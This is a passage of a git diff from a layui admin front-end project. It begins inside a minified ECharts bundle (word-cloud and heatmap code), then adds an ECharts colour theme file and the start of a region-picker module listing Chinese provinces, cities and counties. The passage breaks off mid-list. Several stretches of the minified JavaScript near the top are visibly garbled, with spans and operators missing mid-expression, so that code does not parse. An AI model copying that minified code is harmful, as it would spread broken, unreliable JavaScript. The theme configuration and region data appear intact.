function(e){return[t*(e*=.1)*Math.cos(e),e*Math.sin(e)]}}function h(e){var t=4,i=t*e[0]/e[1],n=0,a=0;return function(e){var o=0>e?-1:1;switch(Math.sqrt(1+4*o*e)-o&3){case 0:n+=i;break;case 1:a+=t;break;case 2:n-=i;break;default:a-=t}return[n,a]}}function m(e){return"function"==typeof e?e:function(){return e}}var V=this.defaultOption;V.text=e.text?m(e.text):t,V.font=e.font?m(e.font):i,V.fontSize=e.fontSize?m(e.fontSize):a,V.fontStyle=e.fontStyle?m(e.fontStyle):n,V.fontWeight=e.fontWeight?m(e.fontWeight):n,V.rotate=e.rotate?r(e.rotate):o,V.padding=e.padding?m(e.padding):s,V.center=e.center,V.spiral=l,V.endcallback=function(){},V.rectangularSpiral=h,V.archimedeanSpiral=l},_initProperty:function(e){var t=this.defaultOption;t.size=e.size||[256,256],t.wordletype=e.wordletype,t.words=e.words||[],t.timeInterval=1/0,t.timer=null,t.spirals={archimedean:t.archimedeanSpiral,rectangular:t.rectangularSpiral},n.merge(t,{size:[256,256],wordletype:{type:"RECT",areaPresent:.058,autoSizeCal:{enable:!0,minSize:12}}})},_initCanvas:function(){var e,t=Math.PI/180,i=64,n=2048,a=1;"undefined"!=typeof document?(e=document.createElement("canvas"),e.width=1,e.height=1,a=Math.sqrt(e.getContext("2d").getImageData(0,0,1,1).data.length>>2),e.width=(i<<5)/a,e.height=n/a):e=new Canvas(i<<5,n);var o=e.getContext("2d");o.fillStyle=o.strokeStyle="red",o.textAlign="center",this.defaultOption.c=o,this.defaultOption.cw=i,this.defaultOption.ch=n,this.defaultOption.ratio=a,this.defaultOption.cloudRadians=t},_cloudSprite:function(e,t,i){if(!e.sprite){var n=this.defaultOption.cw,a=this.defaultOption.ch,o=this.defaultOption.c,r=this.defaultOption.ratio,s=this.defaultOption.cloudRadians;o.clearRect(0,0,(n<<5)/r,a/r);var l=0,h=0,m=0,V=t.length;for(--i;++i>5<<5,d=~~Math.max(Math.abs(y+g),Math.abs(y-g))}else U=U+31>>5<<5;if(d>m&&(m=d),l+U>=n<<5&&(l=0,h+=m,m=0),h+d>=a)break;o.translate((l+(U>>1))/r,(h+(d>>1))/r),e.rotate&&o.rotate(e.rotate*s),o.fillText(e.text,0,0),e.padding&&(o.lineWidth=2*e.padding,o.strokeText(e.text,0,0)),o.restore(),e.width=U,e.height=d,e.xoff=l,e.yoff=h,e.x1=U>>1,e.y1=d>>1,e.x0=-e.x1,e.y0=-e.y1,e.hasText=!0,l+=U}for(var f=o.getImageData(0,0,(n<<5)/r,a/r).data,k=[];--i>=0;)if(e=t[i],e.hasText){for(var U=e.width,x=U>>5,d=e.y1-e.y0,_=0;d*x>_;_++)k[_]=0;if(l=e.xoff,null==l)return;h=e.yoff;for(var L=0,W=-1,X=0;d>X;X++){for(var _=0;U>_;_++){var v=x*X+(_>>5),w=f[(h+X)*(n<<5)+(l+_)<<2]?1<<31-_%32:0;k[v]|=w,L|=w}L?W=X:(e.y0++,d--,X--,h++)}e.y1=e.y0+W,e.sprite=k.slice(0,(e.y1-e.y0)*x)}}},_place:function(e,t,i){function n(e,t,i){i>>=5;for(var n,a=e.sprite,o=e.width>>5,r=e.x-(o<<4),s=127&r,l=32-s,h=e.y1-e.y0,m=(e.y+e.y0)*i+(r>>5),V=0;h>V;V++){n=0;for(var U=0;o>=U;U++)if((n<U?(n=a[V*o+U])>>>s:0))&t[m+U])return!0;m+=i}return!1}function a(e,t){return t.row[e.y]&&t.cloumn[e.x]&&e.x>=t.row[e.y].start&&e.x<=t.row[e.y].end&&e.y>=t.cloumn[e.x].start&&e.y<=t.cloumn[e.x].end}for(var o,r,s,l=this.defaultOption.size,h=([{x:0,y:0},{x:l[0],y:l[1]}],t.x),m=t.y,V=Math.sqrt(l[0]*l[0]+l[1]*l[1]),U=this.defaultOption.spiral(l),d=Math.random()<.5?1:-1,p=-d;(o=U(p+=d))&&(r=~~o[0],s=~~o[1],!(Math.min(r,s)>V));)if(t.x=h+r,t.y=m+s,!(t.x+t.x0<0||t.y+t.y0<0||t.x+t.x1>l[0]||t.y+t.y1>l[1])&&!n(t,e,l[0])&&a(t,i)){for(var c,u=t.sprite,y=t.width>>5,g=l[0]>>5,b=t.x-(y<<4),f=127&b,k=32-f,x=t.y1-t.y0,_=(t.y+t.y0)*g+(b>>5),L=0;x>L;L++){c=0;for(var W=0;y>=W;W++)e[_+W]|=c<W?(c=u[L*y+W])>>>f:0);_+=g}return delete t.sprite,!0}return!1},_autoCalTextSize:function(e,t,i,n,a){function o(e){c.clearRect(0,0,(d<<5)/u,p/u),c.save(),c.font=e.style+" "+e.weight+" "+~~((e.size+1)/u)+"px "+e.font;var t=c.measureText(e.text+"m").width*u,r=e.size<<1;t=t+31>>5<<5,c.restore(),e.aw=t,e.ah=r;var s,l,h;if(e.rotate){var m=Math.sin(e.rotate*y),V=Math.cos(e.rotate*y),g=t*V,b=t*m,f=r*V,k=r*m;l=Math.max(Math.abs(g+k),Math.abs(g-k))+31>>5<<5,h=~~Math.max(Math.abs(b+f),Math.abs(b-f))}return e.size<=U||e.rotate&&t*r<=e.area&&i>=l&&n>=h||t*r<=e.area&&i>=t&&n>=r?void(e.area=t*r):(s=e.rotate&&l>i&&h>n?Math.min(i/l,n/h):t>i||r>n?Math.min(i/t,n/r):Math.sqrt(e.area/(e.aw*e.ah)),e.size=~~(s*e.size),e.sizel?l:V:l,s.area=t*s.areapre,s.totalarea=t,o(s)}},t}),i("echarts/layout/WordCloudRectZero",["require"],function(){function e(e){this.defaultOption={type:"RECT"},this._init(e)}return e.prototype={RECT:"_calculateRect",_init:function(e){this._initOption(e),this._initCanvas()},_initOption:function(e){for(k in e)this.defaultOption[k]=e[k]},_initCanvas:function(){var e=document.createElement("canvas");e.width=1,e.height=1;var t=Math.sqrt(e.getContext("2d").getImageData(0,0,1,1).data.length>>2);if(e.width=this.defaultOption.width,e.height=this.defaultOption.height,e.getContext)var i=e.getContext("2d");this.canvas=e,this.ctx=i,this.ratio=t},calculate:function(e,t){var i=this.defaultOption.type,n=this[i];this[n].call(this,e,t)},_calculateReturn:function(e,t,i){t.call(i,e)},_calculateRect:function(e,t){var i={},n=this.defaultOption.width>>5<<5,a=this.defaultOption.height;i.initarr=this._rectZeroArray(n*a),i.area=n*a,i.maxHit=a,i.maxWit=n,i.imgboard=this._rectBoard(n,a),this._calculateReturn(i,e,t)},_rectBoard:function(e,t){for(var i=[],n=0;t>n;n++)i.push({y:n,start:0,end:e});for(var a=[],n=0;e>n;n++)a.push({x:n,start:0,end:t});return{row:i,cloumn:a}},_rectZeroArray:function(e){for(var t=[],i=e,n=-1;++ni;++i)if(e[i].type===a.CHART_TYPE_HEATMAP){e[i]=this.reformOption(e[i]);var o=new n(e[i]),s=o.getCanvas(e[i].data,this.zr.getWidth(),this.zr.getHeight()),l=new r({position:[0,0],scale:[1,1],hoverable:this.option.hoverable,style:{x:0,y:0,image:s,width:s.width,height:s.height}});this.shapeList.push(l)}this.addShapeList()}},o.inherits(t,i),e("../chart").define("heatmap",t),t});var n=t("zrender");n.tool={color:t("zrender/tool/color"),math:t("zrender/tool/math"),util:t("zrender/tool/util"),vector:t("zrender/tool/vector"),area:t("zrender/tool/area"),event:t("zrender/tool/event")},n.animation={Animation:t("zrender/animation/Animation"),Cip:t("zrender/animation/Clip"),easing:t("zrender/animation/easing")};var a=t("echarts");a.config=t("echarts/config"),a.util={mapData:{params:t("echarts/util/mapData/params")}},t("echarts/chart/line"),t("echarts/chart/bar"),t("echarts/chart/scatter"),t("echarts/chart/k"),t("echarts/chart/pie"),t("echarts/chart/radar"),t("echarts/chart/chord"),t("echarts/chart/force"),t("echarts/chart/map"),t("echarts/chart/gauge"),t("echarts/chart/funnel"),t("echarts/chart/eventRiver"),t("echarts/chart/venn"),t("echarts/chart/treemap"),t("echarts/chart/tree"),t("echarts/chart/wordCloud"),t("echarts/chart/heatmap"),e.echarts=a,e.zrender=n}(window); + +layui.define('echartsTheme', function(exports){ + exports('echarts', echarts); +}); \ No newline at end of file diff --git a/src/lib/extend/echartsTheme.js b/src/lib/extend/echartsTheme.js new file mode 100644 index 0000000..0731e1a --- /dev/null +++ b/src/lib/extend/echartsTheme.js @@ -0,0 +1,267 @@ +/** + + @Name:echarts 主题 + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License:GPL-2 + + */ + + +layui.define(function(exports) { + exports('echartsTheme', { + // 默认色板 + color: [ + '#009688','#1E9FFF','#5FB878','#FFB980','#D87A80', + '#8d98b3','#e5cf0d','#97b552','#95706d','#dc69aa', + '#07a2a4','#9a7fd1','#588dd5','#f5994e','#c05050', + '#59678c','#c9ab00','#7eb00a','#6f5553','#c14089' + ], + + // 图表标题 + title: { + textStyle: { + fontWeight: 'normal', + color: '#666' // 主标题文字颜色 + } + }, + + // 值域 + dataRange: { + itemWidth: 15, + color: ['#009688','#e0ffff'] + }, + + // 工具箱 + toolbox: { + color : ['#1e90ff', '#1e90ff', '#1e90ff', '#1e90ff'], + effectiveColor : '#ff4500' + }, + + // 提示框 + tooltip: { + backgroundColor: 'rgba(50,50,50,0.5)', // 提示背景颜色,默认为透明度为0.7的黑色 + axisPointer : { // 坐标轴指示器,坐标轴触发有效 + type : 'line', // 默认为直线,可选为:'line' | 'shadow' + lineStyle : { // 直线指示器样式设置 + color: '#009688' + }, + crossStyle: { + color: '#008acd' + }, + shadowStyle : { // 阴影指示器样式设置 + color: 'rgba(200,200,200,0.2)' + } + } + }, + + // 区域缩放控制器 + dataZoom: { + dataBackgroundColor: '#efefff', // 数据背景颜色 + fillerColor: 'rgba(182,162,222,0.2)', // 填充颜色 + handleColor: '#008acd' // 手柄颜色 + }, + + // 网格 + grid: { + borderColor: '#eee' + }, + + // 类目轴 - X轴 + categoryAxis: { + axisLine: { // 坐标轴线 + lineStyle: { // 属性lineStyle控制线条样式 + color: '#009688' + } + }, + axisTick: { //小标记 + show: false + }, + splitLine: { // 分隔线 + lineStyle: { // 属性lineStyle(详见lineStyle)控制线条样式 + color: ['#eee'] + } + } + }, + + // 数值型坐标轴默认参数 - Y轴 + valueAxis: { + axisLine: { // 坐标轴线 + lineStyle: { // 属性lineStyle控制线条样式 + color: '#009688' + } + }, + splitArea : { + show : true, + areaStyle : { + color: ['rgba(250,250,250,0.1)','rgba(200,200,200,0.1)'] + } + }, + splitLine: { // 分隔线 + lineStyle: { // 属性lineStyle(详见lineStyle)控制线条样式 + color: ['#eee'] + } + } + }, + + polar : { + axisLine: { // 坐标轴线 + lineStyle: { // 属性lineStyle控制线条样式 + color: '#ddd' + } + }, + splitArea : { + show : true, + areaStyle : { + color: ['rgba(250,250,250,0.2)','rgba(200,200,200,0.2)'] + } + }, + splitLine : { + lineStyle : { + color : '#ddd' + } + } + }, + + timeline : { + lineStyle : { + color : '#009688' + }, + controlStyle : { + normal : { color : '#009688'}, + emphasis : { color : '#009688'} + }, + symbol : 'emptyCircle', + symbolSize : 3 + }, + + // 柱形图默认参数 + bar: { + itemStyle: { + normal: { + barBorderRadius: 2 + }, + emphasis: { + barBorderRadius: 2 + } + } + }, + + // 折线图默认参数 + line: { + smooth : true, + symbol: 'emptyCircle', // 拐点图形类型 + symbolSize: 3 // 拐点图形大小 + }, + + // K线图默认参数 + k: { + itemStyle: { + normal: { + color: '#d87a80', // 阳线填充颜色 + color0: '#2ec7c9', // 阴线填充颜色 + lineStyle: { + color: '#d87a80', // 阳线边框颜色 + color0: '#2ec7c9' // 阴线边框颜色 + } + } + } + }, + + // 散点图默认参数 + scatter: { + symbol: 'circle', // 图形类型 + symbolSize: 4 // 图形大小,半宽(半径)参数,当图形为方向或菱形则总宽度为symbolSize * 2 + }, + + // 雷达图默认参数 + radar : { + symbol: 'emptyCircle', // 图形类型 + symbolSize:3 + //symbol: null, // 拐点图形类型 + //symbolRotate : null, // 图形旋转控制 + }, + + map: { + itemStyle: { + normal: { + areaStyle: { + color: '#ddd' + }, + label: { + textStyle: { + color: '#d87a80' + } + } + }, + emphasis: { // 也是选中样式 + areaStyle: { + color: '#fe994e' + } + } + } + }, + + force : { + itemStyle: { + normal: { + linkStyle : { + color : '#1e90ff' + } + } + } + }, + + chord : { + itemStyle : { + normal : { + borderWidth: 1, + borderColor: 'rgba(128, 128, 128, 0.5)', + chordStyle : { + lineStyle : { + color : 'rgba(128, 128, 128, 0.5)' + } + } + }, + emphasis : { + borderWidth: 1, + borderColor: 'rgba(128, 128, 128, 0.5)', + chordStyle : { + lineStyle : { + color : 'rgba(128, 128, 128, 0.5)' + } + } + } + } + }, + + gauge : { + axisLine: { // 坐标轴线 + lineStyle: { // 属性lineStyle控制线条样式 + color: [[0.2, '#2ec7c9'],[0.8, '#5ab1ef'],[1, '#d87a80']], + width: 10 + } + }, + axisTick: { // 坐标轴小标记 + splitNumber: 10, // 每份split细分多少段 + length :15, // 属性length控制线长 + lineStyle: { // 属性lineStyle控制线条样式 + color: 'auto' + } + }, + splitLine: { // 分隔线 + length :22, // 属性length控制线长 + lineStyle: { // 属性lineStyle(详见lineStyle)控制线条样式 + color: 'auto' + } + }, + pointer : { + width : 5 + } + }, + + textStyle: { + fontFamily: '微软雅黑, Arial, Verdana, sans-serif' + } + }); +}); \ No newline at end of file diff --git a/src/lib/extend/layarea.js b/src/lib/extend/layarea.js new file mode 100644 index 0000000..c5633ba --- /dev/null +++ b/src/lib/extend/layarea.js @@ -0,0 +1,4020 @@ +layui.define(['layer', 'form', 'laytpl'], function (exports) { + "use strict"; + + let $ = layui.$ + , form = layui.form + , layarea = { + _id: 0 + , config: {} + , set: function (options) { + let that = this; + that.config = $.extend({}, that.config, options); + return that; + } + , on: function (events, callback) { + return layui.onevent.call(this, 'layarea', events, callback); + } + } + , thisArea = function () { + let that = this; + return { + layarea: function (files) { + that.layarea.call(that, files); + } + , config: that.config + } + } + , Class = function (options) { + let that = this; + that.config = $.extend({}, that.config, layarea.config, options); + that.render(); + }; + + let areaList = { + province_list: { + 110000: '北京市', + 120000: '天津市', + 130000: '河北省', + 140000: '山西省', + 150000: '内蒙古自治区', + 210000: '辽宁省', + 220000: '吉林省', + 230000: '黑龙江省', + 310000: '上海市', + 320000: '江苏省', + 330000: '浙江省', + 340000: '安徽省', + 350000: '福建省', + 360000: '江西省', + 370000: '山东省', + 410000: '河南省', + 420000: '湖北省', + 430000: '湖南省', + 440000: '广东省', + 450000: '广西壮族自治区', + 460000: '海南省', + 500000: '重庆市', + 510000: '四川省', + 520000: '贵州省', + 530000: '云南省', + 540000: '西藏自治区', + 610000: '陕西省', + 620000: '甘肃省', + 630000: '青海省', + 640000: '宁夏回族自治区', + 650000: '新疆维吾尔自治区', + 710000: '台湾省', + 810000: '香港特别行政区', + 820000: '澳门特别行政区', + 900000: '海外' + }, + city_list: { + 110100: '北京市', + 120100: '天津市', + 130100: '石家庄市', + 130200: '唐山市', + 130300: '秦皇岛市', + 130400: '邯郸市', + 130500: '邢台市', + 130600: '保定市', + 130700: '张家口市', + 130800: '承德市', + 130900: '沧州市', + 131000: '廊坊市', + 131100: '衡水市', + 139000: '省直辖县', + 140100: '太原市', + 140200: '大同市', + 140300: '阳泉市', + 140400: '长治市', + 140500: '晋城市', + 140600: '朔州市', + 140700: '晋中市', + 140800: '运城市', + 140900: '忻州市', + 141000: '临汾市', + 141100: '吕梁市', + 150100: '呼和浩特市', + 150200: '包头市', + 150300: '乌海市', + 150400: '赤峰市', + 150500: '通辽市', + 150600: '鄂尔多斯市', + 150700: '呼伦贝尔市', + 150800: '巴彦淖尔市', + 150900: '乌兰察布市', + 152200: '兴安盟', + 152500: '锡林郭勒盟', + 152900: '阿拉善盟', + 210100: '沈阳市', + 210200: '大连市', + 210300: '鞍山市', + 210400: '抚顺市', + 210500: '本溪市', + 210600: '丹东市', + 210700: '锦州市', + 210800: '营口市', + 210900: '阜新市', + 211000: '辽阳市', + 211100: '盘锦市', + 211200: '铁岭市', + 211300: '朝阳市', + 211400: '葫芦岛市', + 220100: '长春市', + 220200: '吉林市', + 220300: '四平市', + 220400: '辽源市', + 220500: '通化市', + 220600: '白山市', + 220700: '松原市', + 220800: '白城市', + 222400: '延边朝鲜族自治州', + 230100: '哈尔滨市', + 230200: '齐齐哈尔市', + 230300: '鸡西市', + 230400: '鹤岗市', + 230500: '双鸭山市', + 230600: '大庆市', + 230700: '伊春市', + 230800: '佳木斯市', + 230900: '七台河市', + 231000: '牡丹江市', + 231100: '黑河市', + 231200: '绥化市', + 232700: '大兴安岭地区', + 310100: '上海市', + 320100: '南京市', + 320200: '无锡市', + 320300: '徐州市', + 320400: '常州市', + 320500: '苏州市', + 320600: '南通市', + 320700: '连云港市', + 320800: '淮安市', + 320900: '盐城市', + 321000: '扬州市', + 321100: '镇江市', + 321200: '泰州市', + 321300: '宿迁市', + 330100: '杭州市', + 330200: '宁波市', + 330300: '温州市', + 330400: '嘉兴市', + 330500: '湖州市', + 330600: '绍兴市', + 330700: '金华市', + 330800: '衢州市', + 330900: '舟山市', + 331000: '台州市', + 331100: '丽水市', + 340100: '合肥市', + 340200: '芜湖市', + 340300: '蚌埠市', + 340400: '淮南市', + 340500: '马鞍山市', + 340600: '淮北市', + 340700: '铜陵市', + 340800: '安庆市', + 341000: '黄山市', + 341100: '滁州市', + 341200: '阜阳市', + 341300: '宿州市', + 341500: '六安市', + 341600: '亳州市', + 341700: '池州市', + 341800: '宣城市', + 350100: '福州市', + 350200: '厦门市', + 350300: '莆田市', + 350400: '三明市', + 350500: '泉州市', + 350600: '漳州市', + 350700: '南平市', + 350800: '龙岩市', + 350900: '宁德市', + 360100: '南昌市', + 360200: '景德镇市', + 360300: '萍乡市', + 360400: '九江市', + 360500: '新余市', + 360600: '鹰潭市', + 360700: '赣州市', + 360800: '吉安市', + 360900: '宜春市', + 361000: '抚州市', + 361100: '上饶市', + 370100: '济南市', + 370200: '青岛市', + 370300: '淄博市', + 370400: '枣庄市', + 370500: '东营市', + 370600: '烟台市', + 370700: '潍坊市', + 370800: '济宁市', + 370900: '泰安市', + 371000: '威海市', + 371100: '日照市', + 371200: '莱芜市', + 371300: '临沂市', + 371400: '德州市', + 371500: '聊城市', + 371600: '滨州市', + 371700: '菏泽市', + 410100: '郑州市', + 410200: '开封市', + 410300: '洛阳市', + 410400: '平顶山市', + 410500: '安阳市', + 410600: '鹤壁市', + 410700: '新乡市', + 410800: '焦作市', + 410900: '濮阳市', + 411000: '许昌市', + 411100: '漯河市', + 411200: '三门峡市', + 411300: '南阳市', + 411400: '商丘市', + 411500: '信阳市', + 411600: '周口市', + 411700: '驻马店市', + 419000: '省直辖县', + 420100: '武汉市', + 420200: '黄石市', + 420300: '十堰市', + 420500: '宜昌市', + 420600: '襄阳市', + 420700: '鄂州市', + 420800: '荆门市', + 420900: '孝感市', + 421000: '荆州市', + 421100: '黄冈市', + 421200: '咸宁市', + 421300: '随州市', + 422800: '恩施土家族苗族自治州', + 429000: '省直辖县', + 430100: '长沙市', + 430200: '株洲市', + 430300: '湘潭市', + 430400: '衡阳市', + 430500: '邵阳市', + 430600: '岳阳市', + 430700: '常德市', + 430800: '张家界市', + 430900: '益阳市', + 431000: '郴州市', + 431100: '永州市', + 431200: '怀化市', + 431300: '娄底市', + 433100: '湘西土家族苗族自治州', + 440100: '广州市', + 440200: '韶关市', + 440300: '深圳市', + 440400: '珠海市', + 440500: '汕头市', + 440600: '佛山市', + 440700: '江门市', + 440800: '湛江市', + 440900: '茂名市', + 441200: '肇庆市', + 441300: '惠州市', + 441400: '梅州市', + 441500: '汕尾市', + 441600: '河源市', + 441700: '阳江市', + 441800: '清远市', + 441900: '东莞市', + 442000: '中山市', + 445100: '潮州市', + 445200: '揭阳市', + 445300: '云浮市', + 450100: '南宁市', + 450200: '柳州市', + 450300: '桂林市', + 450400: '梧州市', + 450500: '北海市', + 450600: '防城港市', + 450700: '钦州市', + 450800: '贵港市', + 450900: '玉林市', + 451000: '百色市', + 451100: '贺州市', + 451200: '河池市', + 451300: '来宾市', + 451400: '崇左市', + 460100: '海口市', + 460200: '三亚市', + 460300: '三沙市', + 460400: '儋州市', + 469000: '省直辖县', + 500100: '重庆市', + 500200: '县', + 510100: '成都市', + 510300: '自贡市', + 510400: '攀枝花市', + 510500: '泸州市', + 510600: '德阳市', + 510700: '绵阳市', + 510800: '广元市', + 510900: '遂宁市', + 511000: '内江市', + 511100: '乐山市', + 511300: '南充市', + 511400: '眉山市', + 511500: '宜宾市', + 511600: '广安市', + 511700: '达州市', + 511800: '雅安市', + 511900: '巴中市', + 512000: '资阳市', + 513200: '阿坝藏族羌族自治州', + 513300: '甘孜藏族自治州', + 513400: '凉山彝族自治州', + 520100: '贵阳市', + 520200: '六盘水市', + 520300: '遵义市', + 520400: '安顺市', + 520500: '毕节市', + 520600: '铜仁市', + 522300: '黔西南布依族苗族自治州', + 522600: '黔东南苗族侗族自治州', + 522700: '黔南布依族苗族自治州', + 530100: '昆明市', + 530300: '曲靖市', + 530400: '玉溪市', + 530500: '保山市', + 530600: '昭通市', + 530700: '丽江市', + 530800: '普洱市', + 530900: '临沧市', + 532300: '楚雄彝族自治州', + 532500: '红河哈尼族彝族自治州', + 532600: '文山壮族苗族自治州', + 532800: '西双版纳傣族自治州', + 532900: '大理白族自治州', + 533100: '德宏傣族景颇族自治州', + 533300: '怒江傈僳族自治州', + 533400: '迪庆藏族自治州', + 540100: '拉萨市', + 540200: '日喀则市', + 540300: '昌都市', + 540400: '林芝市', + 540500: '山南市', + 540600: '那曲市', + 542500: '阿里地区', + 610100: '西安市', + 610200: '铜川市', + 610300: '宝鸡市', + 610400: '咸阳市', + 610500: '渭南市', + 610600: '延安市', + 610700: '汉中市', + 610800: '榆林市', + 610900: '安康市', + 611000: '商洛市', + 620100: '兰州市', + 620200: '嘉峪关市', + 620300: '金昌市', + 620400: '白银市', + 620500: '天水市', + 620600: '武威市', + 620700: '张掖市', + 620800: '平凉市', + 620900: '酒泉市', + 621000: '庆阳市', + 621100: '定西市', + 621200: '陇南市', + 622900: '临夏回族自治州', + 623000: '甘南藏族自治州', + 630100: '西宁市', + 630200: '海东市', + 632200: '海北藏族自治州', + 632300: '黄南藏族自治州', + 632500: '海南藏族自治州', + 632600: '果洛藏族自治州', + 632700: '玉树藏族自治州', + 632800: '海西蒙古族藏族自治州', + 640100: '银川市', + 640200: '石嘴山市', + 640300: '吴忠市', + 640400: '固原市', + 640500: '中卫市', + 650100: '乌鲁木齐市', + 650200: '克拉玛依市', + 650400: '吐鲁番市', + 650500: '哈密市', + 652300: '昌吉回族自治州', + 652700: '博尔塔拉蒙古自治州', + 652800: '巴音郭楞蒙古自治州', + 652900: '阿克苏地区', + 653000: '克孜勒苏柯尔克孜自治州', + 653100: '喀什地区', + 653200: '和田地区', + 654000: '伊犁哈萨克自治州', + 654200: '塔城地区', + 654300: '阿勒泰地区', + 659000: '自治区直辖县级行政区划', + 710100: '台北市', + 710200: '高雄市', + 710300: '台南市', + 710400: '台中市', + 710500: '金门县', + 710600: '南投县', + 710700: '基隆市', + 710800: '新竹市', + 710900: '嘉义市', + 711100: '新北市', + 711200: '宜兰县', + 711300: '新竹县', + 711400: '桃园县', + 711500: '苗栗县', + 711700: '彰化县', + 711900: '嘉义县', + 712100: '云林县', + 712400: '屏东县', + 712500: '台东县', + 712600: '花莲县', + 712700: '澎湖县', + 712800: '连江县', + 810100: '香港岛', + 810200: '九龙', + 810300: '新界', + 820100: '澳门半岛', + 820200: '离岛', + 912400: '加拿大', + 941000: '韩国', + 984000: '美国' + }, + county_list: { + 110101: '东城区', + 110102: '西城区', + 110105: '朝阳区', + 110106: '丰台区', + 110107: '石景山区', + 110108: '海淀区', + 110109: '门头沟区', + 110111: '房山区', + 110112: '通州区', + 110113: '顺义区', + 110114: '昌平区', + 110115: '大兴区', + 110116: '怀柔区', + 110117: '平谷区', + 110118: '密云区', + 110119: '延庆区', + 120101: '和平区', + 120102: '河东区', + 120103: '河西区', + 120104: '南开区', + 120105: '河北区', + 120106: '红桥区', + 120110: '东丽区', + 120111: '西青区', + 120112: '津南区', + 120113: '北辰区', + 120114: '武清区', + 120115: '宝坻区', + 120116: '滨海新区', + 120117: '宁河区', + 120118: '静海区', + 120119: '蓟州区', + 130102: '长安区', + 130104: '桥西区', + 130105: '新华区', + 130107: '井陉矿区', + 130108: '裕华区', + 130109: '藁城区', + 130110: '鹿泉区', + 130111: '栾城区', + 130121: '井陉县', + 130123: '正定县', + 130125: '行唐县', + 130126: '灵寿县', + 130127: '高邑县', + 130128: '深泽县', + 130129: '赞皇县', + 130130: '无极县', + 130131: '平山县', + 130132: '元氏县', + 130133: '赵县', + 130181: '辛集市', + 130183: '晋州市', + 130184: '新乐市', + 130202: '路南区', + 130203: '路北区', + 130204: '古冶区', + 130205: '开平区', + 130207: '丰南区', + 130208: '丰润区', + 130209: '曹妃甸区', + 130223: '滦县', + 130224: '滦南县', + 130225: '乐亭县', + 130227: '迁西县', + 130229: '玉田县', + 130281: '遵化市', + 130283: '迁安市', + 130302: '海港区', + 130303: '山海关区', + 130304: '北戴河区', + 130306: '抚宁区', + 130321: '青龙满族自治县', + 130322: '昌黎县', + 130324: '卢龙县', + 130390: '经济技术开发区', + 130402: '邯山区', + 130403: '丛台区', + 130404: '复兴区', + 130406: '峰峰矿区', + 130407: '肥乡区', + 130408: '永年区', + 130423: '临漳县', + 130424: '成安县', + 130425: '大名县', + 130426: '涉县', + 130427: '磁县', + 130430: '邱县', + 130431: '鸡泽县', + 130432: '广平县', + 130433: '馆陶县', + 130434: '魏县', + 130435: '曲周县', + 130481: '武安市', + 130502: '桥东区', + 130503: '桥西区', + 130521: '邢台县', + 130522: '临城县', + 130523: '内丘县', + 130524: '柏乡县', + 130525: '隆尧县', + 130526: '任县', + 130527: '南和县', + 130528: '宁晋县', + 130529: '巨鹿县', + 130530: '新河县', + 130531: '广宗县', + 130532: '平乡县', + 130533: '威县', + 130534: '清河县', + 130535: '临西县', + 130581: '南宫市', + 130582: '沙河市', + 130602: '竞秀区', + 130606: '莲池区', + 130607: '满城区', + 130608: '清苑区', + 130609: '徐水区', + 130623: '涞水县', + 130624: '阜平县', + 130626: '定兴县', + 130627: '唐县', + 130628: '高阳县', + 130629: '容城县', + 130630: '涞源县', + 130631: '望都县', + 130632: '安新县', + 130633: '易县', + 130634: '曲阳县', + 130635: '蠡县', + 130636: '顺平县', + 130637: '博野县', + 130638: '雄县', + 130681: '涿州市', + 130682: '定州市', + 130683: '安国市', + 130684: '高碑店市', + 130702: '桥东区', + 130703: '桥西区', + 130705: '宣化区', + 130706: '下花园区', + 130708: '万全区', + 130709: '崇礼区', + 130722: '张北县', + 130723: '康保县', + 130724: '沽源县', + 130725: '尚义县', + 130726: '蔚县', + 130727: '阳原县', + 130728: '怀安县', + 130730: '怀来县', + 130731: '涿鹿县', + 130732: '赤城县', + 130802: '双桥区', + 130803: '双滦区', + 130804: '鹰手营子矿区', + 130821: '承德县', + 130822: '兴隆县', + 130824: '滦平县', + 130825: '隆化县', + 130826: '丰宁满族自治县', + 130827: '宽城满族自治县', + 130828: '围场满族蒙古族自治县', + 130881: '平泉市', + 130902: '新华区', + 130903: '运河区', + 130921: '沧县', + 130922: '青县', + 130923: '东光县', + 130924: '海兴县', + 130925: '盐山县', + 130926: '肃宁县', + 130927: '南皮县', + 130928: '吴桥县', + 130929: '献县', + 130930: '孟村回族自治县', + 130981: '泊头市', + 130982: '任丘市', + 130983: '黄骅市', + 130984: '河间市', + 131002: '安次区', + 131003: '广阳区', + 131022: '固安县', + 131023: '永清县', + 131024: '香河县', + 131025: '大城县', + 131026: '文安县', + 131028: '大厂回族自治县', + 131081: '霸州市', + 131082: '三河市', + 131090: '开发区', + 131102: '桃城区', + 131103: '冀州区', + 131121: '枣强县', + 131122: '武邑县', + 131123: '武强县', + 131124: '饶阳县', + 131125: '安平县', + 131126: '故城县', + 131127: '景县', + 131128: '阜城县', + 131182: '深州市', + 140105: '小店区', + 140106: '迎泽区', + 140107: '杏花岭区', + 140108: '尖草坪区', + 140109: '万柏林区', + 140110: '晋源区', + 140121: '清徐县', + 140122: '阳曲县', + 140123: '娄烦县', + 140181: '古交市', + 140202: '城区', + 140203: '矿区', + 140211: '南郊区', + 140212: '新荣区', + 140221: '阳高县', + 140222: '天镇县', + 140223: '广灵县', + 140224: '灵丘县', + 140225: '浑源县', + 140226: '左云县', + 140227: '大同县', + 140302: '城区', + 140303: '矿区', + 140311: '郊区', + 140321: '平定县', + 140322: '盂县', + 140402: '城区', + 140411: '郊区', + 140421: '长治县', + 140423: '襄垣县', + 140424: '屯留县', + 140425: '平顺县', + 140426: '黎城县', + 140427: '壶关县', + 140428: '长子县', + 140429: '武乡县', + 140430: '沁县', + 140431: '沁源县', + 140481: '潞城市', + 140502: '城区', + 140521: '沁水县', + 140522: '阳城县', + 140524: '陵川县', + 140525: '泽州县', + 140581: '高平市', + 140602: '朔城区', + 140603: '平鲁区', + 140621: '山阴县', + 140622: '应县', + 140623: '右玉县', + 140624: '怀仁县', + 140702: '榆次区', + 140721: '榆社县', + 140722: '左权县', + 140723: '和顺县', + 140724: '昔阳县', + 140725: '寿阳县', + 140726: '太谷县', + 140727: '祁县', + 140728: '平遥县', + 140729: '灵石县', + 140781: '介休市', + 140802: '盐湖区', + 140821: '临猗县', + 140822: '万荣县', + 140823: '闻喜县', + 140824: '稷山县', + 140825: '新绛县', + 140826: '绛县', + 140827: '垣曲县', + 140828: '夏县', + 140829: '平陆县', + 140830: '芮城县', + 140881: '永济市', + 140882: '河津市', + 140902: '忻府区', + 140921: '定襄县', + 140922: '五台县', + 140923: '代县', + 140924: '繁峙县', + 140925: '宁武县', + 140926: '静乐县', + 140927: '神池县', + 140928: 